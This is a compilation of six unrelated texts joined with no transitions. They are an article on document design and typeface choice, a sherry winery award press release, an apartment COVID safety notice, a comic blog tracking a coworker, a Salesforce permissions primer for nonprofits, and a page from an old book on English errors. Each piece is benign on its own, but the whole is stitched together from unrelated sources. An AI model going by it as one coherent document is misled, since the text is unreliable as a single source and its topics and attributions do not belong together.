The Structure and Organization
When a technical communicator is creating a form or document, it is vital that they pay close attention to structure and organization as these are the means that allow visualization to work.
Functional Analysis
In order to design a form or document, the writer should understand and evaluate the different constraints in the rhetorical situation; this is called functional analysis. One of the biggest components in analyzing a form or document is to determine the communicative purpose of the form or document. Leo Lentz and Henk Pander Maat, at the University of Utrecht, break down communicative purpose into four elements:
intended communicative effect: the intended effect should fall into one of three categories; "a cognitive change in the mental state of the reader, who learns something or forms a particular attitude, a change in the reader's behavior, such as handling a machine or buying a product, or a change in the social reality as a result of the collective behavior of readers, such as the sale of a product".
topic: this is based on the reader's needs, since the reader is the one expected to act on the information.
target group: this should be a specific group described either by demographic variables or communicative predispositions.
organizational goal: this is the change that should occur in every individual reader.
After analyzing the communicative purpose, the technical communicator can design a form or document that will match the requirements and meet expectations for it.
Explicit Structure
One aspect of form and document creation that technical communicators should pay close attention to is explicit structure. When the structure is explicit, the reader can interact with the form or document on a more effective level. The technical communicator’s "primary means to make structure explicit is through headings and links". The technical communicator must add these headings when they are drafting the form or document, because the structure will remain implicit until they are added.
The authors of Meet Your Type: A Field Guide to Love & Typography add hierarchy to the idea of making structure explicit. They say: "effective hierarchy gets people to look where you want them to look, when you want them to look there. Without it the reader is left confused and frustrated. Emphasis can be stressed by size, weight, color, style, and placement". Thus, emphasis from several different font decisions joins headings as a feature that makes structure explicit.
Abstract Structure
Another aspect to consider when designing a form or document is abstract structure. This is the idea that text has a graphical component. Text incorporates a graphical component not only because the words are: "often accompanied by conventional graphics such as pictures or diagrams, but they themselves form graphical elements such as titles, headings, chapters, sections, captions, paragraphs, and bulleted lists".
When considering abstract structure in planning a form or document, a technical communicator must also look at what Richard Power, Nadjet Bouayad-Agha, and Donia Scott call document structure: "the organization of a document into graphical constituents like sections, paragraphs, sentences, bulleted lists, and figures". This document structure also goes hand-in-hand with the human-centered design aspect of visualization as pertaining to form and document creation. Technical communicators should look at their form or document to make sure that the abstract structure of the form or document is helping achieve the overall goal with the reader.
Though it focuses on a visual and graphic effect, abstract structure also focuses on wording. The examples that follow are taken verbatim from Power, Bouayad-Agha, and Scott. They show a progression from a passage written by a technical communication novice (a), to an edit by a more experienced technical communicator (b), to an edit by a senior expert technical communicator (c). The successive changes are designed to make the structure and wording valid.
(a)
Elixir is a white cream.
It is used in the treatment of cold sores.
It contains aliprosan. This is effective against a range of viral skin disorders.
It should be used only on your lips and face.
(b)
Elixir is a white cream.
It is used in the treatment of cold sores.
It contains aliprosan. This is effective against a range of viral skin disorders.
It should be used ONLY on your lips and face.
(c)
Elixir is a white cream. It is used in the treatment of cold sores. It contains aliprosan. This is effective against a range of viral skin disorders. N.B. Elixir should be used only on your lips and face.
Visual Organization
Other considerations the technical communicator keeps in mind when creating a form or document include: number of pages, flush, capital letters, and bullets.
Number of Pages
If at all possible, using one page for the document or form is best because the reader can: "glance at the information without flipping pages or having to search for related sections, both results of poor planning that can distract and confuse the reader".
Flush
When typing a document, the technical communicator should make the text flush left because: "it’s the easiest to read because we read it most often". Keeping the text flush left instead of justifying it: "[gives] the text a more harmonious appearance and makes it easier to read, since all wordspaces have the same width". The reason justified text should be avoided is because of the: "hideously [stretched] and [squished] words and spaces".
Capital Letters
Capital letters should not be used to accentuate words on a form or document; it is too distracting and disrupts the look of the form or document. When capital letters are absolutely necessary, say in the case of an acronym or abbreviation, small caps should be used, with or without initial caps. When capital letters are not absolutely necessary, the technical communicator should evaluate the effectiveness of italicizing the word or phrase for emphasis.
Bullets
Some technical communicators use hyphens for listed items; however, a writer should use bullets or centered points instead.
Standard Expository Model
In analyzing structure and organization for a form or document, it is beneficial for a technical communicator to determine if the form or document being created fits within a group of documents called the standard expository model (SE model). If the form or document being created is an SOE, then there are special strategies to writing the form or document.
Standard expository models are: "nonfiction print documents that (1) are primarily informational rather than expressive; (2) are intended to be read linearly (broadly speaking, from beginning to end); and (3) reveal structure explicitly with at least one heading level but very often more."
If a form being created fits within the SE model, there are three main strategies to be employed when creating it.
The first is to tuck introductions and conclusions. This means that there is no separate heading for the introduction and conclusion; instead, the introduction and conclusion aspects of the writing are within the first and last main points.
The second strategy is to subdivide and indent subpoints within a section to account for brief subsections.
The final strategy is to use stacked headings by adding subheadings underneath main headings, much like in this Wikipedia article itself.
Language and Word Choice
Gillian Harvey, a partner and senior designer at Plumbheavy Design Inc., a company that does graphic design and information design, has several recommendations for technical communicators regarding language and word choice.
The first is to use vocabulary that the reader will easily understand; this is vital when creating a form or document with instructions the reader is expected to follow.
Harvey also recommends the use of personal pronouns, especially "you" and "your," to give the reader a feeling of ownership when reading a form or document.
Finally, Harvey instructs technical communicators to use active phrases rather than passive phrases because they are easier for a reader to comprehend.
Typeface Selection
After evaluating the purpose and desired effect of a form or document, and creating a structure and wording that meets that purpose and effect, a technical communicator may think the majority of the job is complete. However, the typeface used for a form and document can greatly affect not only the reader, but the purpose and effect of that form or document.
Typeface vs. font
Most simply, "a font is what you use, and a typeface is what you see". The Typographer’s Glossary defines typeface as: "An artistic interpretation, or design, of a collection of alphanumeric symbols". Typeface includes "letters, numerals, punctuation, various symbols, and more". "A typeface is usually grouped together in a family containing individual fonts for italic, bold, and other variations of the primary design". A font, on the other hand, is: "a collection of letters, numbers, punctuation, and other symbols used to set text (or related) matter". To further explain, "font refers to the physical embodiment…while typeface refers to the design". In any event, the terms "font" and "typeface" are used interchangeably by some authors and designers.
Appropriate Selection
Jo Mackiewicz, from the Composition and Linguistics Department of the University of Minnesota Duluth, has done extensive research into typeface and has published multiple articles on the topic. Mackiewicz says that students should: "select typefaces that are appropriate for their technical documents". What Mackiewicz means when she talks about an "appropriate typeface" is that it contributes to the desired "overall rhetorical effect" and conveys "more specific effects…as intended". In another article, Mackiewicz points out that "typefaces substantially contribute to the visual, as opposed to the verbal, language of documents". This is important, since it has already been established that professional technical communicators see their role as largely visual as compared to verbal.
Personality
In selecting an appropriate typeface, Mackiewicz focuses on what she calls "typeface personality". She researches other technical communicators’ works to come up with a definition of typeface personality as "that aspect of typeface that imbues it ‘with the power to evoke in the perceiver certain emotional and cognitive responses’" and "the ability to convey different feelings and moods…strength, elegance, agitation, silliness, friendliness, scariness, and other moods". Mackiewicz further explains that: "increased attention to typeface personality is especially important now that students have access to thousands of typefaces, many of which can detract from or conflict with the seriousness, professionalism, and competency that students intend to convey". The selection of typeface is also important in situations where more than one typeface is present in a form or document. Mackiewicz says: "if more than one typeface is being used within a document, students should also carefully consider the extent to which the personalities of the typefaces they have selected are concordant".
History
One way that Mackiewicz notes that technical communicators can determine a typeface’s personality is through looking at its history; she says: "the personality a typeface conveys may stem in large part from the ways in which that typeface has been used in the past". To show what she means, Mackiewicz notes that the typeface Fette Fraktur is rarely used today because it was used in Nazi propaganda from 1933 to 1945. Because of situations like the one involving Fette Fraktur, Mackiewicz points out: "the ways in which a typeface has been used [in the past] can influence the overall affect (sic) of a student’s document and, consequently, it can send an unintended message".
Impressions on Readers
As in every stage of form and document design, technical communicators must be constantly aware of the impressions of design decision on the reader. Pamela W. Henderson, Joan L. Giese, and Joseph A. Cote, faculty in the Department of Marketing at Washington State University, point out that: "it is important to determine the impact of the impressions created by typeface". Their research also shows "that individual differences [in typeface] can affect attentiveness to aesthetics", or the pleasing effect of the form or document.
The Font Shop professionals also have a warning concerning typeface and its impression on readers. They recommend "[avoiding] the embarrassment of typographic rejection by first determining the likes and dislikes of your target audience".
Additionally, Jo Mackiewicz recommends technical communicators consider typefaces that are both legible and readable. Her research has shown that legible typefaces have "the quality of being decipherable and recognizable" and are important "in situations where people are scanning pages, reading signs, or skimming through catalogs or lists". One example of a legible typeface is Univers, while an illegible typeface example would be Snap ITC. On the other hand, typefaces that are readable have: "the quality of giving ‘visual comfort,’ which is especially important in long stretches of text". Mackiewicz uses Times New Roman as an example of an easily read typeface while Impact typeface is less so. Legibility and readability are important aspects of typeface to consider if the reader is going to be required to read and comprehend a large amount of text.
Serif vs. Sans Serif
One aspect of typeface selection to consider is whether or not to use serif or sans serif typefaces. Serif typefaces are "based on the carvings of the ancient Romans" and "feature small ‘feet’ at the end of the letterforms". Jo Mackiewicz points out that: "traditionally, serif typefaces have been used for the body text of technical (as well as other) documents because they seem to be more readable than sans serif typefaces". On the other hand, sans serif typefaces "were designed for the industrial age" and are "hard-working and modern, with no need for fancy serifs". Sans serif typefaces "are often used in ‘display’ elements like headings, diagrams, and tables". Based on this information, technical communicators are advised to "pair a serif and sans serif" in their forms or documents.
Electronic Selection
Because of the prevalence of computers and other electronic media in the modern world, there are some special considerations for forms and documents that will be online. New typefaces are being developed specifically for forms and documents to be presented electronically. ClearType, developed by Microsoft in 1998 "to improve the legibility of typefaces viewed on LCD displays", encompasses seven of these new typefaces. They were "designed for online reading of business documents, email, and web pages". However, after a study of the online legibility of ClearType, Times New Roman, and Verdana typefaces, researchers concluded "that it is not the technology alone that dictates legibility", as some of the ClearType typefaces were more legible than other ClearType typefaces and one of the non-ClearType typefaces. A technical communicator, creating an online document, should carefully analyze the readability of the typeface selected for their form or document.
Case Study: Times New Roman
In order to see how the various typeface aspects work together for typeface selection, look at the Times New Roman typeface. Mackiewicz notes that its letterforms "display complexity and perfection". She also lists features of the Times New Roman typeface that make it professional in personality: "moderate weight, moderate thick-to-thin transition, balanced straight-edged and rounded terminals, moderate x-height to cap-height ratio, uppercase J that sits on the baseline, horizontal crossbar on the e letterform, double-story a letterform, and double-story g letterform". Reid Goldsborough, a syndicated newspaper columnist, provides the history of the Times New Roman typeface. Times New Roman "was commissioned by the British newspaper The Times in 1931", and in 2004, the U.S. State Department "mandated that all U.S. diplomatic documents use Times New Roman instead of the previous Courier New". In Jo Mackiewicz’s study of typefaces, "one participant said that Times New Roman could be used in ‘any lengthy passages that need good readability". Finally, in a study that evaluated Times New Roman against the newer ClearType typefaces, it was found that no participants confused Times New Roman letterforms with Times New Roman numbers, symbols, or other letterforms. Based on these observations, a technical communicator could determine that Times New Roman would be an effective typeface for a form or document if the purpose was professional, the document was being read in any format, and reader readability was required.
Evaluation
David Sless, director and co-founder of the Communication Research Institute talks about what he calls: "a crucial aspect of public communication: the demonstration, through testing and measurement, that an [organization’s] communication with its public does indeed work; that evidence can be produced to show that the information design is of the highest quality". He is calling attention to the fact that documented evaluation is an important part of form and document design.
Evaluation will show where a form or document needs to be improved, even when that form or document meets the overall needs for which it was created. For example, Michael Turton, a veteran designer of transactional documents and forms, was surprised to find that coworkers were having trouble with a form he designed that he knew was adequate. The form required employees to check boxes that measured 7mm by 6mm, but reported that these boxes needed to be bigger. Knowing that the boxes were adequate, Turton asked the employees to show him the problem; as it turned out, the employees were left-handed and when they were trying to mark a box, their writing hand was covering the writing on the form. So, through evaluation, Turton was able to discover the needs of his audience and created a left-handed form as well. This shows the importance of evaluation in form and document creation.
Criteria for Evaluation
Sless points out several key factors to look for when evaluating a form or document. He recommends evaluation to determine if a form or document is: "attractive, socially appropriate, physically appropriate, respectful [of the audience], credible, and containing information that is accessible and usable".
When to Evaluate a Form or Document
Sless diagrams a circular pattern for the "systematic process" of forms and documents. There are seven stages to his diagram, and then number seven leads back into number one. The seven stages are: scoping, benchmarking, prototyping, testing, refining (returning to step four as many times as needed), implementing, and monitoring.
He says that evaluation must take place at three points in this "systematic process": during step two, during steps four and five, and during step seven. A form or document should be evaluated at the benchmarking stage to determine how a current design is working. It should be used in the testing and refining stages to evaluate changes being made. Finally, the form or document should be evaluated during the monitoring stage as it is in use to "maintain its optimal performance". Sless emphasizes the importance of testing at these designated times instead of evaluating as time and money permits.
Case Study: A Look Into Forms in the Medical Field
There can be many individualized decisions and problems that can occur depending on the form or document being created, the target audience, and the organization producing the form or document. These problems can occur because of rules set by a technical communicator’s own company or an external governing body. Problems can also occur based on technical problems that the technical communicator could not prepare for. To highlight these potential problems, look at forms and documents in the medical field.
Potential Technical Problems
In a study done by professionals from multiple companies and universities, family medical practices administered surveys on paper forms and electronically. However, the team could not accurately judge the advantage of the electronic form because of problems with the firewall and "institutional computer security issues". The researchers report that: "there does not appear to be an easy solution to these technical issues, especially in instances where the practice is part of a larger organization (e.g., university, hospital) that has strict requirements and procedures in place to limit transmission of information between the institution and external Internet Web sites". This example shows where technology itself can interfere with the effectiveness of a form. Also, institutional requirements can limit the design being created by a technical writer.
Tailoring Information to Federal Regulations
Sometimes, there are external restrictions on a form or document that could affect the design process. Rita Tomlin, a freelance writer and instructor at San Diego State University, investigates the implications of the Food and Drug Administration (FDA) regulations on medical writing. Tomlin says, "An essential task for the medical writer is to tailor data presentation and document content to the FDA’s expectations." The medical writer is therefore restricted by FDA expectations and not just organizational or personal expectations. Medical writers are expected to come to "an understanding of the FDA’s complex expectations" by "careful reading and interpretation of the FDA regulations and guidance documents." This is an example of the type of work a form or document designer may have to do. There could be external research needed before form or document design or redesign can occur.
Notes
References
Blythe, Stuart. "Readings in Information Visualization." Technical Communication Quarterly 9, no. 3 (Summer 2000): 347-351.
Brumberger, Eva. "Visual Communication in the Workplace: A Survey of Practice." Technical Communication Quarterly 16, no. 4 (2007): 369-395.
Chaparro, Barbara S., A. Dawn Shaikh, Alex Chaparro, and Edgar C. Merkle. "Comparing the Legibility of Six ClearType Typefaces to Verdana and Times New Roman." Information Design Journal 18, no. 2 (2010): 36-49.
"Erik Spiekermann’s Typo Tips," Font Shop, http://www.fontshop.com/education/pdf/typo_tips.pdf.
Farkas, David K. "Explicit Structure in Print and On-Screen Documents." Technical Communication Quarterly 14, no. 1 (2005): 9-30.
Galliher, James M., Thomas V. Stewart, Paramod K. Pathak, James J. Werner, L. Miriam Dickinson, and John M. Hickner. "Data Collection Outcomes Comparing Paper Forms with PDA Forms in an Office-Based Patient Survey." Annals of Family Medicine 6, no. 2 (March/April 2008): 154-160.
Goldsborough, Reid. "Fun With Fonts: Selection of Typeface Can Get Message Across." Community College Week, March 10, 2008.
Harvey, Gillian. "Designing Procedural Instructions: 5 Key Components." Information Design Journal 16, no. 1 (2008): 19-24.
Henderson, Pamela W., Joan L. Giese, and Joseph A. Cote. "Impression Management Using Typeface Design." Journal of Marketing 68 (October 2004): 60-72.
Jansen, Carel. "Document Design." South African Journal of Linguistics 17, no. 4 (November 1999): 234-255.
Lentz, Leo, and Henk Pander Maat. "Functional Analysis for Document Design." Technical Communication 51, no. 3 (August 2004): 387-398.
Mackiewicz, Jo. "How to Use Five Letterforms to Gauge a Typeface’s Personality: A Research-Driven Method." Journal of Technical Writing and Communication 35, no. 3 (2005): 291-315.
Mackiewicz, Jo. "What Technical Writing Students Should Know About Typeface Personality." Journal of Technical Writing and Communication 34, nos. 1 & 2 (2004): 113-131.
"Meet Your Type: A Field Guide to Love & Typography," Font Shop, http://www.fontshop.com/education/pdf/fsfinalbook_single.pdf.
Power, Richard, Nadjet Bouayad-Agha, and Donia Scott. "Document Structure." Computational Linguistics 29, no. 2 (June 2003): 211-260.
Sless, David. "Measuring Information Design." Information Design Journal 16, no. 3 (2008): 250-258.
Tomlin, Rita C. "Online FDA Regulations: Implications for Medical Writers." Technical Communication Quarterly 17, no. 3 (2008): 289-310.
Turton, Michael. "Not Another Problem With Forms." Information Design Journal 13, no. 3 (2005): 191-193.
"The Typographer’s Glossary: Common Type Terminology," Font Shop, http://www.fontshop.com/education/pdf/typographers_glossary.pdf.
Wroblewski, Luke. "The Information Architecture Behind Good Web Forms." Bulletin of the American Society for Information Science & Technology 34, no. 6 (2008): 18-19.
Category:Technical communication |
Jerez, Spain. July 10th, 2017. Sergio Martínez, Cellar Master at the House of Lustau was named “Best Fortified Winemaker 2016” at the prestigious International Wine Challenge Awards Gala celebrated in London last Thursday night, July 6th.
This award was particularly poignant for Sergio Martinez. After more than 14 years at the House of Lustau, Sergio assumed the role of Cellar Master last summer following the sudden passing of his predecessor and mentor, Manuel Lozano, who had earned the International Wine Challenge Best Fortified Winemaker Award for seven consecutive years from 2009 to 2015.
“I am enormously proud of being part of the Lustau team” he stated after receiving the award. “This prize is recognition for each and every one of us working at Lustau” Sergio continued. “I feel incredibly blessed for having had Manolo Lozano’s guidance throughout my career. He was a great teacher and an extraordinary individual. Always generous, creative and visionary. Thank you Manolo, for showing me the way!”
Luis Luengo, General Manager at the House of Lustau, celebrates: “This prize confirms our continuous search for the highest quality standards and our commitment to keeping and maintaining our genuine Lustau style, as demanded by our customers and consumers.”
This year’s award is the crowning glory to the exceptional results obtained by the House of Lustau in the 34th edition of the International Wine Challenge. With 48 medals, including 14 Golds, the House of Lustau is the most awarded sherry producer and the most awarded European winery in the history of the International Wine Challenge.
About Lustau
Bodegas Lustau is considered a world-class benchmark for top-quality wines. Lustau’s philosophy has remained unchanged since its inception in 1896: to provide consumers with the widest and most select range of Sherry specialties. In 2016, Bodegas Lustau was named Best Sherry Producer by the International Wine and Spirit Competition and ranked number 7 in the WAWWJ “Top 100 wineries in the world” annual ranking. |
We're Here For You!
We Care About Your Safety
You’re safety is our highest priority, which is why we have enhanced our customer experience on site as we move toward re-opening.
• We are implementing the use of electrostatic hand held sprayers daily in our leasing offices and indoor amenities, prior to opening for the day.
• Increasing cleaning and sanitizing of our office, model and vacant units and amenities.
• Providing Courtesy PPE (masks, hand sanitizer, etc) to our residents and prospects to enter the leasing office.
• Installed touchless hand sanitizing stations in all offices.
• As we slowly re-open our resident amenities, per your local government guidelines, we are opening with reduced capacity. Pool decks and outdoor amenities will have seating areas spaced out to accommodate social distancing, as well as offering virtual tours, easy and convenient online rental payments & maintenance requests to our residents and prospects.
• We ask that you do your part to take precautions around our community by wiping down common and amenity area equipment such as pool chair, grills, fitness equipment, etc.
Looking for a new home?
We can't wait to show off our communities to you via virtual tour and help you find the perfect home. You can browse, pick, and apply for one of our apartments from the comfort of your home.
Have Questions?
Our offices are open virtually and available to assist you or answer any questions you may have. Please feel free to call, email, text or communicate with us through social media or your resident portal / phone app. |
An audio podcast examining music videos from the past and present.
Main Menu
Keeping Tabs on My Coworker: 8/2/2012
My job isn’t extremely tough, but you have to have an insane amount of knowledge about English and the art of writing to be good at said job, and I am damn good at my job. I’m an English tutor at a local community college.
When I was at PrattleRattle, I did a blog, every week about people that came into the comic book store I worked at. Now that I don’t work there, I need a live blog to keep me entertained through my long work day.
My coworker is an older gentleman, and he’s good at his job, but sometimes he says some weird things, and he likes to leave the office constantly. Let’s keep tabs on him for August 2nd, 2012.
9:03AM: Coworker leaves office and doesn’t say where he is going. I’m tempted to follow, but the lady coworker I’m with in the morning has not arrived.
9:20AM: Comes back and immediately he says he has to walk to his car. No reason given why.
9:40AM: Comes back and walks out of the room again.
9:47AM: Comes back into the room and tells me not to piss off Chinese badminton players. I ask why and he tells me you shouldn’t mess with them. Now I’m puzzled.
9:50AM: He leaves again.
9:53AM: He comes back, finishes a bottle of water, and asks me why he has yellow chalk in his bag. I have no answer for him, and he tells me the blackboards at another school are green, not black. I am puzzled why I need to know this.
9:57AM: A construction guy is working outside and hits our window. Coworker asks if it’s George Romney. I don’t see the correlation.
9:59AM: He says hi to a student who comes into our office, and then leaves the room. I didn’t see where he went.
10:00AM: Walks back in.
9-10AM: Total time spent in actual office working: 12 minutes.
10:04AM: He leaves the office again, but this time quickly. I’m following.
10:08AM: I had to abort the mission. He spotted me, right after I took a picture of him. He headed downstairs.
10:10AM: He comes back and starts to work with a student that I was already planning on helping. Where did he go? Hmmmmm.
10:16AM: I’m struggling to keep this under wraps. I can’t load the picture I’ve taken onto the computer. Coworker sneezes twice and paces. He sits down and pounds away on the keyboard while he types something up in gmail.
10:22AM: He’s confused why I don’t know who is working tonight and then says “It’s going to be a hell of a time.” Why? The detective in me wants to know why.
10:30AM: He’s a spry young lad… Well, he’s not young, but he shook me. He just walked back into the office. I’m pretty sure he’s up to no good. He may be doing dirty deals on the side with a Ruskie. I’m getting too “Private Dick.” I’m going to smoke.
10:36AM: I doubled back to the smoking area to make sure I wasn’t followed. Nothing out here looks suspicious.
10:40AM: I’ve been back for a minute, and he’s left again.
10:44AM: He’s hovering around the door and then sits back down. Something must be going down. What’s he waiting for? I smell my drink to make sure he didn’t poison it. Nope. Everything seems good. His face is glued to the computer screen. He’s on a site called “Makers,” probably reading up on how to make himself into a better crime lord. Wait… no, it’s about the Olympics.
10:54AM: He asks me if I’m going to Lalapolooza. I tell him no. I’m pretty sure he just wants to find out when I’m not going to be in my house so he can tap my phones and install cameras to spy on me.
10:55AM: He turns on the news on the computer and blasts the audio. I wonder how the student trying to work behind him feels about that?
10:56AM: Leaves the office 4 minutes early. Complains about students crunching food. Still calls me “Matthew.” I hate that. He’s probably going to put GPS on my car so he can follow me or he has a meeting with mob bosses about gun running. I’ll never know. |
Security and data access in Salesforce are controlled via a powerful and difficult-to-master set of tools. Profiles, permission sets, roles, role hierarchy, sharing settings, and page layouts are all part of the toolbox. They offer different capabilities, but also overlap and interact in ways that can be difficult to wrap your head around.
As part of my work to simplify the permissions and security regime for a forty-seat nonprofit organization, I put together this basic primer on these tools, in hopes of offering ways into this intimidating and mystifying terrain. This guide is written with the small-to-medium sized nonprofit in mind.
Keep It Simple, Sys Admin
If you are planning a data security regime, keep your system as simple and as open as you can. When plotting data access, only restrict access to information that absolutely can’t be available to all staff.
The simplest data security regime is based on two types of users – one being system administrators, allowing access to all the administrative goodies like setting up new users and adding new fields, and the other providing access to all data but without administrative privileges.
You are unlikely to end up with this degree of simplicity. You will encounter solid organizational reasons for restricting access to some data, noting that “solid” in this case can mean either sound or immovable. There can also be legal or compliance reasons for restricting data access, particularly if your organization provides health or social services.
But still, fight bravely for all the openness you can manage. The problem is that with so many layers and settings, understanding and maintaining a regime quickly becomes unwieldy. As even a moderately complex setup gets handed from consultant, to in-house admin, to in-house caretaker, and around again, the original justifications and thought-processes get lost. It can take many valuable hours to understand and update your settings.
So cajole and wheedle your colleagues when they insist that their data can’t be shared. Weaponize the phrase “data silo.” Ask hard questions, and demand solid answers. If there is data that is too sensitive to give all staff access to, ask whether you should be storing and collecting this data at all.
Record Sharing vs. Field and Object Access
The difference between record sharing and field and object access is fundamental in setting up and understanding your data security regime. This concept divides the security tools into two neat piles, greatly simplifying the overall task of understanding.
Field and object access determines what objects (opportunities, for instance, where donations, grants and proposals often reside) and fields (phone number, estimated net worth, etc.) a user can see, create, or edit. Field and object access are primarily controlled through profiles and permission sets.
Record sharing allows you to control your users’ read and edit access to specific existing records on an object that they can otherwise access. Typically, this means restricting access to contacts and/or accounts based on their record type. For instance, your development department may insist that staff outside the department be prevented from seeing major donor contact records, whereas all staff can see volunteers’ records. Record sharing is controlled via sharing settings, roles, and hierarchy.
Sharing is caring
Salesforce is at its heart a sales tool, assuming an environment where sales staff are given a set of people or companies to sell to, information which is not shared with other salespeople, though it is available to sales managers and others higher up in the organization. (When I explain this to clients, I always have to stop myself from quoting Glengarry Glen Ross at this point, because no one typically understands me, and because of all the swear words. But it’s what I picture — a highly competitive, charged sales environment.)
As a result, the presumptive sharing model in Salesforce is based on the ownership of a given record, that owner’s role in the organization, and the hierarchy of those roles. This model probably doesn’t apply to most nonprofits, though it might apply, for instance, to direct service organizations managing client’s medical data. If your organization isn’t sharing records based on ownership and a tiered organizational chart, I have great news – you can completely ignore the role and role hierarchy sections of your toolbox.
In a nonprofit environment, it is more common that access to some contact and account types will be based on departments or teams within the organization. Donor records would be made available for editing to a public group called ‘Development Department,’ but might be read-only for other staff. Job applicants’ records would be available to human resources and upper management, but invisible to others. These requirements are implemented via sharing rules and public groups.
Restricting access to fields on those contacts, such as estimated net worth, would be handled via their profile or permissions, not via sharing. Access to related objects, like the opportunities records could be handled via permission sets, profile, or sharing settings. Note, though, that access to objects can be granted, intentionally or not, via the sharing rules on their related objects.
If you can have an entirely open organization, where all types of records are available to all staff (though perhaps not all objects or fields), you can ignore the sharing section of your toolbox entirely, opening access via profiles or permissions set to ‘Modify All’ or ‘View All.’
Field and object access: Profiles and Permission Sets
Profiles and permission sets are tools that control what fields and objects users have access to, and what sort of access they have: read only, edit, create, and/or delete.
Every user must have a profile. The profile controls access to almost every aspect of Salesforce – administrative privileges, the ability to create reports, access to chatter, password and login policies, and available apps, among many many others. The profile also includes settings for every standard and custom object and field in Salesforce. In addition to basic access, the settings offer a section of checkboxes for object record type. These settings control what record types a user with that profile can create, and the default record type for new records, but do not control the user’s ability to view or edit existing records with those types – for that, you must use sharing settings. The object settings also allow you to control what page layout is presented to users with that profile for each record type on that object.
Permission sets allow you to add *but never subtract* field and object permissions to those provided to a user via their profile. This includes the ability to create additional record types beyond those provided by the user’s profile. A user can have multiple permission sets assigned to them, but only one profile.
Salesforce offers a number of standard profiles. This, combined with the fact that admins are required to select a profile when setting up a user, tends to steer new admins towards profiles as the major tool for providing user permissions. It is common to see an organization with a dozen different profiles in use, one for each department or job title, regardless of whether there are functional differences in the access granted by these profiles. There is a downside to proliferating profiles — it is difficult to set profiles side by side to understand what if any differences exist.
It is easier to maintain a scheme that relies on a small number number of profiles, with permission sets used to add specific access for a group of users. Since permission sets can only add access, a well-set up permission set contains only the specific permissions that it adds to a foundation profile. For instance, a permission set for the development department will only contain settings allowing field access to sensitive development related fields, to the opportunity object, and other development-specific data. It is a simple matter to understand the difference between a basic profile, and that profile with a permission set added.
Some admins advocate using only one basic profile in addition to the administrator, and assembling all needed combinations of access by adding permission sets. This can add a lot clarity on the administrative side, but there are important trade-offs to understand when taking this approach:
Profiles assign a default record type for new records created by a user, and permission sets cannot override this. If you have a single profile that assigns a default contact record type of ‘Standard Contact,’ you can give your development staff the ability to create record types of ‘Donor’ and ‘Prospect,’ but their new records will still default to ‘Standard,’ which they will need to remember to change. In most organizations, record types will be key drivers for reports, record sharing, and page layouts, so the single-profile model creates the risk of bad data disrupting key processes. You should consider a separate profile for positions that do a lot of data entry. You can also address this challenge using validation rules or workflows to check or change record types, though that creates additional systems that need to be understood and maintained.
Similarly, profiles allow the admin to assign page layouts based on record type, and this can’t be overridden by permission sets. In the interests of simplicity, I advocate for a single page layout for any given record type, not varying depending on the user, but there will be situations that favor a profile-based determination of page layout.
When you create new objects and fields, Salesforce asks you to set access by profile. If your new object or field is to be accessed only by holders of certain permission sets, extra clicks are required to complete your set-up.
What’s Page Layout got to do with it?
Page layouts are primarily a tool for improving your users’ experience, allowing you to show the fields and related records that are most important for a given record type, and leave off those that are less important or unpopulated for that record type. Page layouts can be assigned for every combination of profile and record type, though admins should think hard about the justification for changing page layouts from profile to profile – does it add enough value to outweigh the additional complexity?
Page layouts offer the ability to make certain fields read-only or required, and you can leave sensitive data off entirely, though the user may still be able to access this data via reports. If a user lacks read access to a field that is set as a part of the page layout they are viewing, that field and its label will not appear, and other fields will flow up to fill the space that it occupied.
Example
Here are the specifics of setting up Salesforce for a situation like what I’ve described above. We will focus on the Contact object. In this nonprofit organization, there are two types of contacts that need special handling: Donors may be viewed, but not edited by all staff users. The Opportunity object (where donations are recorded) and the Total Donations field on the contact may only be seen by the Development department, who are also allowed to edit contacts with record type “Donor.” Contacts of type “Applicant” and the custom object “Job Applications” may only be viewed by Human Resources and the Management Team. “Standard”-type contacts may be viewed and edited by all staff. We will set up this access using a single profile for all staff, and add permission sets and sharing rules to provide the access to applicants and donors.
This should provide the basics of a security regime for a small-to-medium sized nonprofit organization. These concepts could be carried over to Leads and Accounts, and other objects and fields that need to be restricted in your organization.
Object and Field Access
Set up a Staff profile. It is usually easiest to clone an existing profile, like Standard. (Setup>Manage User>Profiles). Under Object Settings, disable access to Opportunities and Job Applications. Under the Contact object, disable all access to the field Total Donations, and unclick all Record Types except ‘Standard,’ which will also be the default record type. Check to make sure other object settings match your organization’s needs.
Set up a permission set for Development, and edit the Object Settings to give read/edit/create/delete access to the Opportunity Object, as well as read access to the Total Donations field (assuming it is a roll-up, and cannot be edited.) Use the description field to document the access provided by this permission set. It’s a hassle now, sure, but it will save time later.
Set up a permission set for Hiring, and edit the Object Settings to give read/edit/create/delete access to the Job Application object. Be sure to add a description.
Sharing Settings
Set up four public groups: Development, Human Resources, Upper Management, and All Staff. All Staff will contain all staff members, and will be used for providing read-only access to Donors to staffers outside of Development. Public Groups are found under Setup>Manage Users>Public Groups
Set the organization-wide sharing setting for Contacts to Private, under Setup>Security Controls> Sharing Settings.
Still working under Sharing Settings, we’ll set up several contact sharing rules. If Contacts was not previously set to Private, it may take a few minutes for the related list for Contact Sharing Rules to appear.
Create a New Contact Sharing Rule, and give it a name. Select Rule Type Based on Criteria, then set the criteria to Contact Record Type equals Standard, then Share with > Public Group > All Staff, and change Contact Access to Read/Write
Repeat this process to give Read Access to Contact Record Type equals Donor to all staff, Read/Write Access for Contact Record Type equals Donor to Development, Read/Write Access for Contact Record Type equals Applicant to Human Resources, and Read/Write Access for Contact Record Type equals Applicant to Upper Management
Set Up Users
New users will need to be assigned the basic Staff profile, added to All Staff and other relevant groups, and have permission sets added. You should log in as each user type and check access by searching for Contacts of the various types.
Document user setup, including the public groups and permission sets for new users from each team. |
Page:A Desk-Book of Errors in English.djvu/14
equally absurd example taken from an issue of the Freeman's Journal of the year 1890, announces "The health of Mr. Parnell has lately taken a very serious turn, and fears of his recovery are entertained by his friands," which, one may add, was rather unfriendly on their part. Isaac Disraeli in his "Curiosities of Literature" himself was guilty of an absurdity when he wrote, "It is curious to observe the various substitutes for paper before its invention."
Errors of a different sort found their way even into our earlier dictionaries. Cockeram defined a lynx as "a spotted beast which hath the most perfect sight in so much as it is said that it can see through a wall." The salamander he described as "a small venomous beast with foure feet and a short taile; it lives in the fire, and at length by its extreme cold puts out the fire." Both of these definitions show the rudimentary stage of the knowledge of our forefathers in matters zoological.
